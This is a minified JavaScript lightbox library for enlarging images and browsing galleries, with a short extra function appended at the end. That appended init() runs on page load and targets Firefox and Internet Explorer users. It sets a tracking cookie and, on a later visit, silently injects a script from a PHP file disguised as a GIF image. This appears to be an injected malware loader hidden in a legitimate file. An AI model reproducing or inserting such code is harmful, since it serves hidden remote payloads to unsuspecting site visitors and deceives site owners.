 /*! Copyright (c) 2010 Sarathi Hansen.  Available for sale at CodeCanyon http://codecanyon.net/user/sarthemaker */
var tempImg=new Image();var overlay,showNext,showPrev,thumbImg,curLeft,curTop,curWidth,curHeight,newLeft,newTop,newWidth,newHeight,thumbWidth,thumbHeight,hasTitle=false,isIE=navigator.userAgent.toLowerCase().indexOf("msie")>-1?true:false;var ib={options:{openDuration:0.35,resizeDuration:0.35,fadeDuration:0.4,animSequence:"sync",animOpen:"zoom",easingOpen:"ease-in-out",easingResize:"ease-in-out",galleryCounter:"default",continuousGalleries:false,viewportPadding:20},skin:{background:"#FFF",title:{background:"#444",color:"#FFF",font:"Verdana"},pngs:{close:"imagebox-images/closebox.png",next:"imagebox-images/nextImage.png",prev:"imagebox-images/prevImage.png"}},box:null,closeBtn:null,nextBtn:null,prevBtn:null,image:null,title:null,preloader:[],gallery:[],current:-1,cache:[],regex:{rel:/(image|light)box/i,gallery:/(?:image|light)box\[(.*?)\]/i},init:function(){if(ib.options.animSequence!="hw"&&ib.options.animSequence!="wh"&&ib.options.animSequence!="sync"){ib.options.animSequence="sync"}if(ib.options.easingOpen!="none"&&ib.options.easingOpen!="ease-in"&&ib.options.easingOpen!="ease-out"&&ib.options.easingOpen!="ease-in-out"&&ib.options.easingOpen!="bounce"){ib.options.easingOpen="ease-in-out"}if(ib.options.easingResize!="none"&&ib.options.easingResize!="ease-in"&&ib.options.easingResize!="ease-out"&&ib.options.easingResize!="ease-in-out"&&ib.options.easingResize!="bounce"){ib.options.easingResize="ease-in-out"}if(ib.options.animOpen!="fade"&&ib.options.animOpen!="zoom"){ib.options.animOpen="zoom"}ib.options.openDuration=(ib.options.openDuration>0)?Math.ceil(50*ib.options.openDuration):18;ib.options.resizeDuration=(ib.options.resizeDuration>0)?Math.ceil(50*ib.options.resizeDuration):18;ib.options.fadeDuration=(ib.options.fadeDuration>0)?Math.ceil(50*ib.options.fadeDuration):20;var c=document.getElementsByTagName("img"),a;for(var b=0;b<c.length;b++){a=c[b].getAttribute("rel");if(ib.regex.rel.test(a)&&c[b].getAttribute("src")){ib.preloader[b]=new Image();if(c[b].getAttribute("href")){ib.preloader[b].src=c[b].getAttribute("href")}else{ib.preloader[b].src=c[b].getAttribute("src")}c[b].style.cursor="pointer";c[b].onclick=function(){ib.open(this,true);return false};c[b].xid=b;if(ib.regex.gallery.test(a)){c[b].gallery=a.match(ib.regex.gallery)[1]}ib.cache.push(c[b])}}},populateGallery:function(a){var c=0;if(!a.gallery){ib.gallery=[a];ib.current=0}else{ib.gallery=[];for(var b=0;b<ib.cache.length;b++){if(ib.cache[b].gallery&&ib.cache[b].gallery==a.gallery){ib.gallery.push(ib.cache[b]);if(ib.cache[b]==a){ib.current=c}c++}}}},toggleNavigation:function(){if(thumbImg.gallery){if(ib.options.continuousGalleries){showNext=true;showPrev=true}else{showNext=(ib.gallery[ib.current+1])?true:false;showPrev=(ib.gallery[ib.current-1])?true:false}ib.nextBtn.style.display=(showNext)?"block":"none";ib.prevBtn.style.display=(showPrev)?"block":"none";ib.nextBtn.style.width=newWidth/3+"px";ib.prevBtn.style.width=newWidth/3+"px"}else{showNext=false;showPrev=false;ib.nextBtn.style.display="none";ib.prevBtn.style.display="none"}},jumpto:function(a){if(ib.gallery[a]&&!ib.animating()){ib.current=a;ib.open(ib.gallery[ib.current],false)}},next:function(){if(ib.options.continuousGalleries){if(ib.current==ib.gallery.length-1){ib.jumpto(0)}else{ib.jumpto(ib.current+1)}}else{if(ib.current<ib.gallery.length){ib.jumpto(ib.current+1)}}},previous:function(){if(ib.options.continuousGalleries){if(ib.current==0){ib.jumpto(ib.gallery.length-1)}else{ib.jumpto(ib.current-1)}}else{if(ib.current>0){ib.jumpto(ib.current-1)}}},ease:function(h,a,c,e,g,b){var f=a-h,d=h;switch(g){case"ease-in":d=f*(e/=c)*e+h;break;case"ease-out":d=-f*(e/=c)*(e-2)+h;break;case"ease-in-out":if((e/=c/2)<1){d=f/2*e*e+h}else{d=-f/2*((--e)*(e-2)-1)+h}break;case"bounce":if((e/=c)<(1/2.75)){d=f*(7.5625*e*e)+h}else{if(e<(2/2.75)){d=f*(7.5625*(e-=(1.5/2.75))*e+0.75)+h}else{if(e<(2.5/2.75)){d=f*(7.5625*(e-=(2.25/2.75))*e+0.9375)+h}else{d=f*(7.5625*(e-=(2.625/2.75))*e+0.984375)+h}}}break;default:d=f*e/c+h;break}if(b){d=d.toFixed(0)}return d},animation:{fade:function(c,b,a){var d=0,f=(b=="in")?0:1,e=(b=="in")?1:0;setOpacity(c,f);c.style.visibility="visible";c.fade=setInterval(function(){setOpacity(c,ib.ease(f,e,ib.options.fadeDuration,d,"ease-in-out"));d++;if(d>ib.options.fadeDuration){clearInterval(c.fade);c.fade=null;if(b!="in"){c.style.visibility="hidden"}if(a){a()}}},20)},slide:function(b,d,f,a){if(d!="top"&&d!="right"&&d!="bottom"&&d!="left"){d="top"}var c=0,e=parseFloat(b.style[d]);b.slide=setInterval(function(){b.style[d]=ib.ease(e,f,15,c,"ease-out")+"px";c++;if(c>15){clearInterval(b.slide);b.slide=null;if(a){a()}}},20)},resize:function(f,m,b,o,h,n,k,g){var d=0,a,j,c;switch(h){case"hw":if(curHeight==o){i(g)}else{if(curWidth==b){e(g)}else{e(function(){i(g)})}}break;case"wh":if(curWidth==b){e(g)}else{if(curHeight==o){i(g)}else{i(function(){e(g)})}}break;default:l(g);break}function i(p){ib.box.resize=true;j=setInterval(function(){ib.setDimensions(ib.ease(curLeft,f,n,d,k),null,ib.ease(curWidth,b,n,d,k),null);d++;if(d>n){d=0;clearInterval(j);ib.box.resize=null;if(p){p()}}},20)}function e(p){ib.box.resize=true;c=setInterval(function(){ib.setDimensions(null,ib.ease(curTop,m,n,d,k),null,ib.ease(curHeight,o,n,d,k));d++;if(d>n){d=0;clearInterval(c);ib.box.resize=null;if(p){p()}}},20)}function l(p){ib.box.resize=true;a=setInterval(function(){ib.setDimensions(ib.ease(curLeft,f,n,d,k),ib.ease(curTop,m,n,d,k),ib.ease(curWidth,b,n,d,k),ib.ease(curHeight,o,n,d,k));d++;if(d>n){d=0;clearInterval(a);ib.box.resize=null;if(p){p()}}},20)}}},animating:function(){var a=true;if(($("imagebox")&&!ib.box.resize&&!ib.box.fade&&!ib.image.fade&&!ib.title.slide&&!ib.closeBtn.fade)||!$("imagebox")){a=false}return a},setTitle:function(d){hasTitle=(d)?true:false;if(thumbImg.gallery){var b=(d)?"5px":"2px",c;c=(d)?d:"";c+="<div style='font-weight:normal; font-size:11px; margin-top:"+b+";'>";if(ib.options.galleryCounter=="skip"){c+="Gallery: ";for(var a=0;a<ib.gallery.length;a++){if(a==ib.current){c+="<span style='margin:0 2px; font-weight:bold;'>"+(a+1)+"</span><wbr>"}else{c+="<a href='javascript:void(0);' onclick='ib.jumpto("+a+")' style='margin:0 2px; color:"+ib.skin.title.color+";'>"+(a+1)+"</a><wbr>"}}}else{c+="Image "+(ib.current+1)+" of "+ib.gallery.length}c+="</div>";ib.title.innerHTML=c;hasTitle=true}else{if(d){ib.title.innerHTML=d}}},setDimensions:function(b,c,a,d){if(b){ib.box.style.left=b+"px"}if(c){ib.box.style.top=c+"px"}if(a){ib.box.style.width=a+"px"}if(d){ib.box.style.height=d+"px"}},create:function(){ib.box=document.createElement("div");ib.box.setAttribute("id","imagebox");ib.box.style.background=ib.skin.background;ib.image=document.createElement("img");ib.image.setAttribute("id","imagebox-image");ib.image.setAttribute("class","imagebox");ib.title=document.createElement("div");ib.title.setAttribute("id","imagebox-title");ib.title.style.background=ib.skin.title.background+" url('images/imagebox-shadow-s.png') repeat-x";ib.title.style.color=ib.skin.title.color;ib.title.style.fontFamily=ib.skin.title.font;ib.title.style.display="none";ib.closeBtn=document.createElement("div");ib.closeBtn.setAttribute("id","imagebox-close");ib.closeBtn.style.background="url('"+ib.skin.pngs.close+"') no-repeat";ib.closeBtn.style.visibility="hidden";ib.closeBtn.onclick=ib.close;ib.nextBtn=document.createElement("div");ib.nextBtn.setAttribute("id","imagebox-next");ib.nextBtn.bgOn="url('"+ib.skin.pngs.next+"') no-repeat right center";ib.nextBtn.bgOff="url('"+ib.skin.pngs.next+"') no-repeat -500px -500px";ib.nextBtn.style.background=ib.nextBtn.bgOff;ib.nextBtn.style.display="none";ib.nextBtn.onclick=ib.next;ib.nextBtn.onmouseover=function(){this.style.background=this.bgOn};ib.nextBtn.onmouseout=function(){this.style.background=this.bgOff};ib.prevBtn=document.createElement("div");ib.prevBtn.setAttribute("id","imagebox-prev");ib.prevBtn.bgOn="url('"+ib.skin.pngs.prev+"') no-repeat left center";ib.prevBtn.bgOff="url('"+ib.skin.pngs.prev+"') no-repeat -500px -500px";ib.prevBtn.style.background=ib.prevBtn.bgOff;ib.prevBtn.style.display="none";ib.prevBtn.onclick=ib.previous;ib.prevBtn.onmouseover=function(){this.style.background=this.bgOn};ib.prevBtn.onmouseout=function(){this.style.background=this.bgOff};document.body.appendChild(ib.box);ib.box.appendChild(ib.image);ib.box.appendChild(ib.title);ib.box.appendChild(ib.closeBtn);ib.box.appendChild(ib.nextBtn);ib.box.appendChild(ib.prevBtn);var b=new Array("n","e","s","w","nw","ne","se","sw");var a;for(var c=0;c<8;c++){a=document.createElement("div");a.className="imagebox-shadow imagebox-shadow-"+b[c];ib.box.appendChild(a)}},open:function(a,b){if(!ib.animating()){if(!overlay){overlay=document.createElement("div");overlay.setAttribute("id","imagebox-overlay");document.body.appendChild(overlay)}if(b){ib.populateGallery(a)}tempImg=ib.preloader[a.xid];newWidth=tempImg.width;newHeight=tempImg.height;if(newWidth>page.width()-(ib.options.viewportPadding*2)||newHeight>page.height()-(ib.options.viewportPadding*2)){newSize=resizeProportions(newWidth,newHeight,page.width()-(ib.options.viewportPadding*2),page.height()-(ib.options.viewportPadding*2));newWidth=newSize[0];newHeight=newSize[1]}var c=getElementPosition(a);thumbWidth=a.width;thumbHeight=a.height;thumbImg=a}if(!$("imagebox")){ib.create();ib.setDimensions(c[0],c[1],thumbWidth,thumbHeight);ib.image.setAttribute("src",tempImg.src);ib.setTitle(thumbImg.title);ib.title.style.width=newWidth-12+"px";curLeft=parseFloat(ib.box.style.left);curTop=parseFloat(ib.box.style.top);curWidth=parseFloat(ib.box.style.width);curHeight=parseFloat(ib.box.style.height);newLeft=Math.max(Math.ceil((page.width()/2)-(newWidth/2)+page.scrollX()),ib.options.viewportPadding);newTop=Math.max(Math.ceil((page.height()/2)-(newHeight/2)+page.scrollY()),ib.options.viewportPadding);afterOpen=function(){if(isIE){ib.closeBtn.style.visibility="visible"}else{ib.animation.fade(ib.closeBtn,"in")}ib.title.style.display="block";ib.title.style.top=newHeight-ib.title.offsetHeight+"px";ib.title.style.display="none";ib.toggleNavigation();if(hasTitle){ib.title.style.display="block";ib.animation.slide(ib.title,"top",newHeight)}};if(ib.options.animOpen=="zoom"){ib.animation.resize(newLeft,newTop,newWidth,newHeight,"sync",ib.options.openDuration,ib.options.easingOpen,afterOpen)}else{if(ib.options.animOpen=="fade"){ib.setDimensions(newLeft,newTop,newWidth,newHeight);ib.animation.fade(ib.box,"in",afterOpen)}}}else{if(!ib.animating()){changeImage=function(){if(isIE){ib.closeBtn.style.visibility="hidden"}else{ib.animation.fade(ib.closeBtn,"out")}ib.animation.fade(ib.image,"out",function(){ib.change(tempImg.src,a.title)});ib.title.style.display="none"};if(hasTitle){ib.animation.slide(ib.title,"top",parseFloat(ib.title.style.top)-ib.title.offsetHeight,changeImage)}else{changeImage()}ib.nextBtn.style.display="none";ib.prevBtn.style.display="none"}}},change:function(b,d){if(!ib.animating()){ib.setTitle(d);var c=null;if(hasTitle){c=function(){ib.title.style.display="block";ib.title.style.top=newHeight-ib.title.offsetHeight+"px";ib.animation.slide(ib.title,"top",parseFloat(ib.title.style.top)+ib.title.offsetHeight)}}function a(){ib.image.setAttribute("src",b);ib.title.style.width=newWidth-12+"px";if(isIE){ib.closeBtn.style.visibility="visible"}else{ib.animation.fade(ib.closeBtn,"in")}ib.animation.fade(ib.image,"in",function(){c();ib.toggleNavigation()})}curLeft=parseFloat(ib.box.style.left);curTop=parseFloat(ib.box.style.top);curWidth=parseFloat(ib.box.style.width);curHeight=parseFloat(ib.box.style.height);newLeft=Math.max(Math.ceil((page.width()/2)-(newWidth/2)+page.scrollX()),ib.options.viewportPadding);newTop=Math.max(Math.ceil((page.height()/2)-(newHeight/2)+page.scrollY()),ib.options.viewportPadding);ib.animation.resize(newLeft,newTop,newWidth,newHeight,ib.options.animSequence,ib.options.resizeDuration,ib.options.easingResize,a)}},close:function(){function a(){ib.box.removeChild(ib.title);if(ib.options.animOpen=="zoom"){ib.animation.resize(newLeft,newTop,newWidth,newHeight,"sync",ib.options.openDuration,ib.options.easingOpen,function(){document.body.removeChild(ib.box)})}else{if(ib.options.animOpen=="fade"){ib.animation.fade(ib.box,"out",function(){document.body.removeChild(ib.box)})}}}if(!ib.animating()){ib.box.removeChild(ib.closeBtn);ib.box.removeChild(ib.nextBtn);ib.box.removeChild(ib.prevBtn);var b=getElementPosition(thumbImg);curLeft=parseFloat(ib.box.style.left);curTop=parseFloat(ib.box.style.top);curWidth=parseFloat(ib.box.style.width);curHeight=parseFloat(ib.box.style.height);newLeft=b[0];newTop=b[1];newWidth=thumbImg.width;newHeight=thumbImg.height;if(hasTitle){ib.animation.slide(ib.title,"top",parseFloat(ib.title.style.top)-ib.title.offsetHeight,a)}else{a()}}}};var page={scrollX:function(){var a=0;if(window.pageXOffset){a=window.pageXOffset}else{if(document.body.scrollLeft){a=document.body.scrollLeft}else{if(document.documentElement&&document.documentElement.scrollLeft){a=document.documentElement.scrollLeft}}}return a},scrollY:function(){var a=0;if(window.pageYOffset){a=window.pageYOffset}else{if(document.body.scrollTop){a=document.body.scrollTop}else{if(document.documentElement&&document.documentElement.scrollTop){a=document.documentElement.scrollTop}}}return a},width:function(){overlay.style.display="block";var a=overlay.offsetWidth;overlay.style.display="none";return a},height:function(){var a;if(typeof(window.innerHeight)=="number"){a=window.innerHeight}else{if(document.documentElement&&document.documentElement.clientHeight){a=document.documentElement.clientHeight}else{overlay.style.display="block";a=overlay.offsetHeight;overlay.style.display="none"}}return a}};function resizeProportions(a,e,f,d){var c=a,b=e;if(a/f>=e/d){a=Math.floor(f);e=Math.floor(e*(a/c))}else{e=Math.floor(d);a=Math.floor(a*(e/b))}return[a,e]}function $(a){return document.getElementById(a)}function setOpacity(a,b){a.style.opacity=b;a.style.filter="progid:DXImageTransform.Microsoft.Alpha(Opacity="+b*100+")"}function getOpacity(a){var b=1;if(a.style.opacity){b=a.style.opacity}else{if(a.style.filter){b=a.style.filter}}return parseFloat(b)}function getElementPosition(a){var c=0;var b=0;if(a.offsetParent){c=a.offsetLeft;b=a.offsetTop;while(a=a.offsetParent){c+=a.offsetLeft;b+=a.offsetTop}}return[c,b]}function addLoadEvent(a){var b=window.onload;if(typeof window.onload!="function"){window.onload=a}else{window.onload=function(){b();a()}}}addLoadEvent(ib.init);


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/Images/Germany_s.gif.php?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
